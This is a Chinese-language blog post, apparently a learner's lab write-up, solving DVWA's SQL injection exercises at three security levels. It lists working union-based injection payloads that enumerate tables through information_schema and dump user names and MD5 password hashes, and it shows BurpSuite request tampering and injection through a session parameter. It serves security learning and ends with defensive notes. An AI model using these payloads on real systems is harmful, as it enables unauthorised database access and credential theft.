DVWA 是渗透测试入门的标配靶场,SQL 注入更是 Web 安全的基本功。本文从 Low 到 High 三个安全级别逐级通关,覆盖手工注入完整流程——闭合方式判断、Union 联合查询、information_schema 脱库、BurpSuite 抓包绕过、Session 传参注入——每一步都附 Payload 和原理拆解,适合零基础入门的同学跟着动手实操。
前言
大家好,我是安全渗透方向的新手。前段时间打了几台 VulnHub 靶机,每台都碰到了 SQL 注入点——有的用' or 1='1绕过登录,有的用 Union 注入脱库拿密码。回过头来觉得该把 SQL 注入的基础功再夯实一遍,于是翻出了 DVWA 这个经典靶场,从 Low 到 High 重新走了一遍。
这篇文章记录 Day1 的实操过程——三个安全级别的 SQL 注入完整通关,从最基础的单引号闭合到借助 BurpSuite 抓包注入,每一步都拆开讲清楚。如果你也在入门 Web 安全,跟着敲一遍应该能对 SQL 注入有个整体的手感。
**免责声明:**本文仅供安全研究与学习参考,请勿将文中技术用于非法用途。
环境准备
| 项目 | 说明 |
|---|---|
| 靶场 | DVWA(Damn Vulnerable Web Application) |
| 攻击机 | Kali Linux |
| 核心工具 | 浏览器、BurpSuite |
| 初始安全级别 | Low → Medium → High |
一、准备工作——确认 DVWA 安全级别
DVWA 提供了四种安全级别,理解它们之间的区别有助于后续针对性地调整注入手法:
| 级别 | 说明 |
|---|---|
| Low | 完全无防护,用于展示不良编码导致的漏洞,作为入门教学 |
| Medium | 开发者尝试做了防护但存在缺陷,适合练习绕过技巧 |
| High | 防护手段更复杂,漏洞利用难度提升,接近 CTF 场景 |
| Impossible | 理论上做了完整防护,供对比漏洞代码与安全代码的差异 |
操作:左侧菜单 →DVWA Security→ 选择级别 → 点击Submit。
初始设置为Low,从最简单的开始。
二、Low 级别——无过滤,最基础的注入场景
这个级别没有任何防护,是理解 SQL 注入完整流程的最佳起点。
步骤 1:判断注入点
在输入框中依次测试:
测试一:输入正常值1
输入1,点击 Submit,页面正常返回用户信息(First name、Surname)。
测试二:输入1'(数字 1 加单引号)
页面返回 SQL 语法报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1结论:输入的单引号破坏了原始 SQL 语句结构——后端没有过滤特殊字符,确认存在 SQL 注入漏洞。
步骤 2:确认注入点(判断闭合方式)
找到了注入点,下一步是搞清楚闭合方式是什么——单引号还是双引号、需不需要括号:
| Payload | 预期结果 | 逻辑 |
|---|---|---|
1' and '1'='1 | 正常返回数据 | '1'='1'恒真,整条 WHERE 条件成立 |
1' and '1'='2 | 无数据返回 | '1'='2'恒假,WHERE 条件不成立 |
笔记:
- 闭合符为单引号
' - 通过
and '1'='1和and '1'='2的真假条件验证注入点可用
这一步很关键——闭合方式搞错了,后面的 Payload 全白费。
步骤 3:获取数据库基本信息
引入union select联合查询,配合#注释掉原始 SQL 的后续部分。
3.1 判断字段数与回显位
1'unionselect1,2#结论:
- 原始查询是 2 个字段
- 第一列回显到 First name,第二列回显到 Surname——这两个位置就是后面脱数据的"窗户"
3.2 获取当前数据库名
1'unionselectdatabase(),2#database():返回当前数据库名称#:把原始语句后面的部分注释掉,让 Payload 不受干扰
步骤 4:获取表名
1' union select table_name collate utf8_general_ci,2 from information_schema.tables where table_schema='dvwa'#返回结果:guestbook、users
users表存的是账号密码——这就是目标。
笔记:
collate utf8_general_ci用来处理字符集排序问题,否则information_schema关联查询可能因为编码不一致报错。新手常见踩坑点。
步骤 5:查 users 表列名
1' union select column_name,2 from information_schema.columns where table_name='users'#确认了字段名:user和password——直接查这两个就行。
步骤 6:脱取账号密码
1'unionselectuser,passwordfromusers#| 用户名 | 密码哈希(MD5) |
|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| gordonb | e99a18c428cb38d5f260853678922e03 |
| 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
密码是 32 位 MD5 哈希,拿去在线破解平台查——全都是password。连 admin 都用这种弱密码,安全意识可见一斑。
补充:guestbook 表也看看
数据不嫌多,顺手把 guestbook 表也翻了:
查字段:
1' union select column_name,2 from information_schema.columns where table_name='guestbook'#返回:comment_id、comment、name
查数据:
1'unionselectname,commentfromguestbook#返回:name=test,comment=This is a test comment.
三、Medium 级别——POST 传参 + 前端限制绕过
级别切换
DVWA Security → 选择Medium→ Submit。
注入特点
Medium 有两个变化:
- POST 传参:不像 Low 级别的 GET,参数不裸露在 URL 里
- 前端限制:输入框变成了下拉选择,只能选 1-5,没法直接在页面敲注入语句
解决方式:BurpSuite 抓包修改参数——前端限制只拦普通人,数据包里的内容照样能改。
操作步骤
1. 开启 BurpSuite 拦截
配置浏览器代理指向 BurpSuite,在 DVWA 页面选择 ID=1 并点击 Submit,BurpSuite 截获 POST 请求。
2. 修改 id 参数
在 BurpSuite 的 Repeater 或拦截窗口中,把id=1改成:
id=1 union select user,password from users&Submit=Submit3. 放行请求
Forward 出去,页面直接返回所有用户名和密码哈希。
跟 Low 级别同样的结果——Medium 的前端下拉选择就是个摆设,真正起作用的是代码里对mysqli_real_escape_string()的使用,但这里显然没做好。
四、High 级别——Session 传参注入
级别切换
DVWA Security → 选择High→ Submit。
注入特点
High 级别的设计比较有意思——主页面没有输入框,点击“Click here to change your ID”会跳转到一个独立的 Session 输入页面。提交的 ID 存进 Session,主页面再从 Session 读取 ID 执行查询。
这样做本来是希望把用户输入和 SQL 执行分离开,减少直接注入的机会。但只要参数最终还是进到 SQL 语句里,该注入还是能注入。
操作步骤
1. 点击跳转到 Session 输入页
在 Session ID 输入框中直接写 Payload:
1'unionselectuser,passwordfromusers#2. 提交
点 Submit 后页面跳回主页,用户名和密码哈希全部回显。
High 级别只是换了个传参方式(Session),核心的 SQL 拼接问题没解决——换汤不换药。
五、Day1 总结
三个级别对比
| Low | Medium | High | |
|---|---|---|---|
| 传参方式 | GET,URL 可见 | POST,需抓包 | Session,需跳转 |
| 前端限制 | 无,输入框自由填 | 下拉选择,BurpSuite 绕过 | 独立输入页面 |
| 注入难度 | 直接在页面操作 | 需借助 BurpSuite | 需理解 Session 传参机制 |
| Payload | 完全相同 | 完全相同 | 完全相同 |
| 本质问题 | SQL 语句直接拼接用户输入 | 同左 | 同左 |
三个级别绕来绕去,Payload 始终是1' union select user,password from users#——改的只是怎么把这个字符串送到后端。只要用户输入最终进了 SQL 语句且没过滤,注入就躲不掉。
踩坑笔记
collate utf8_general_ci:查询information_schema时字符集不统一会报错,加这个关键字解决。刚开始踩这个坑的时候排查了好一阵。- 闭合方式必须先确认:上来就堆 Payload 容易翻车,先
1'看报错、再'1'='1/'1'='2验证闭合——三步确认法以后就是肌肉记忆了。 - MD5 不叫加密:拿到的是哈希,不是加密。加密可逆(有密钥能解),哈希是单向的。所谓"破解"其实是去彩虹表里查对照——所以弱密码(像
password这种)秒破。 - 前端限制都是纸老虎:Medium 的下拉框看着限制了输入,BurpSuite 一抓包就绕过去了。前端校验只能改善用户体验,安全防护必须做在后端。
参考资料
- DVWA 官方文档及源码
- MySQL information_schema 官方参考
- OWASP — SQL Injection Prevention Cheat Sheet
这是我在 DVWA SQL 注入 Day1 的学习记录。Day2 将进入盲注(Boolean/Time-based)和 SQLMap 自动化注入,如果这篇文章对你有帮助,欢迎评论区一起交流!